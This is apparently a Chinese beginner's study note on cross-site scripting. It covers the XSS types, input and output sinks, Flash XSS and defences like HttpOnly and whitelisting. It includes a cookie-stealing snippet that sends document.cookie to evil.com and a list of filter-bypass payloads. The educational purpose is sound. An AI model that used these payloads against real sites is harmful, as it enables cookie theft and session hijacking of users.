XSS大法
这篇文章只是一些关于XSS我认为比较重要的地方,并没有系统的学习内容。具体的细节可以参考一些书本或者大佬的博客。
书本:《白帽子将web安全》
大佬博客:https://www.cnblogs.com/leestar54/p/5798937.html#wiz_toc_7
这位大佬把白帽上的知识总结了一下 ,没有书的朋友可以直接看
首先,XSS有三种类型(严格来说有两种)
1.需要扎实的html、JavaScript、ActionScript(Flash XSS)功底(绕过与攻击语句)
2.是一种被动的攻击手法
3.website有http-only、crossdomian.xml时没有用
1.反射型XSS
发出请求时,XSS代码出现在URL中,作为输入,提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以叫做反射型XSS。
2.存储型XSS
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。
存储型的XSS危害最大,因为它是直接将代码存储进服务器中,每次使用该服务器都会令这段代码运行一次,比方在一个网页中存在存储型XSS,有人将窃取cookie的代码写进去,那么访问这个页面的所有用户的cookie都会被这个人得到,这会泄露大量的个人隐私,当然也可以写一些其他代码来进行不同的用处。
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当作正常的HTML与JavaScript解析执行,然后就出发了XSS攻击。
3.DOM XSS
DOM XSS和反射型、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS考的时浏览器端的DOM解析,完全是客户端的事情。DOM型也属于反射型,不过修改的是DOM节点。
攻击时:img标签是自动触发而受到攻击的,p标签是引诱触发而受到攻击的,而iframe则是广告植入攻击。
所使用的语言可分为JavaScript,flash,和其他富客户端语言。
对于我们这些刚接触安全不久的新人来说,从教程上看到了一些代码,但是却不知道怎么使用是常有的事。
写入JavaScript脚本的方法:
1.从url中写入
这个方法就不用多说了,有的网站会把一些参数放在url中,如果其中就有注入点的话那么直接把参数修改成想要的XSS攻击语句就好了。
2.从控制台写入
有时url中不会显示参数,这时我们可以从控制台中写入参数。
(如果浏览器支持调试,可以使用console()方法在浏览器中显示JavaScript值)
控制台中可以不用添加<script>标签。
感觉这个很简单但是很重要。在学习时不论是看其他人的文章还是书本、官网,大佬们都是直接给出代码段。
例如最简单的窃取cookie:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
当时不知道要怎么实现这个代码段,后来看js教程的时候发现。
使用控制台console
将代码输入到下面输入框中
如果觉得看不懂的话就修改一下代码:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+alert(document.cookie); document.body.appendChild(img);
这样就能找到cookie了。
一些绕过的方法:
"><script>alert(2)</script>
"><SCript>alert(2)</SCript> //大小写
"><scriscriptpt>alert(2)</scriscriptpt> //双写
"><a href=javascript:alert(2)> //超链接
"><iframe src=javascript:alert(2)> //创建一个内联框架
"><img src=x onerror=javascript:alert(2)> //报错
" onmouseover=javascript:alert(1)> //鼠标悬停
" onclick=javascript:alert(1) //点击
" onfocus=javascript:alert(1) autofocus=" //焦点,自动聚焦
htmlspecialchars() //过滤尖括号'<'
......
在绕过的时候既可以在原本的属性上直接添加,也能闭合原属性创建一个新的属性,还可以闭合原本的标签创建一个新的标签......还有许多其他的绕过方法,这里就不一一列举了。
对于XSS来说,最重要的就是输入点和输出点,这两个地方时寻找XSS漏洞的关键。
常见的输入点:
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
xhr请求回来的数据
document.cookie
表单项的值
常见的输出点:
直接输出html内容,如:
document.write(...)
document.writeln(...)
document.body.innerHtml=...
总之,XSS需要很好的HTML、JavaScript和ActionScript的功底(用来写攻击语句)。
XSS平台:
一般都会有自己习惯的XSS平台,里面包括一些攻击语句,也可以从这个平台接受语句返回的内容。
Flash XSS:
前面提到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。
在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写:
getURL(“javascript:alert(document.cookie)”)
ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。
由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用、等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。
嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。
Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。
防护方法:
使用httponly,如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。
对输入和输出进行检查和过滤,最好使用白名单而不是黑名单。
富文本
有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本”。比如,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都需要通过HTML代码来实现,而区分普通富文本和恶意文本的方法还是输入和输出的检查,在这两个地方要进行严格的筛选。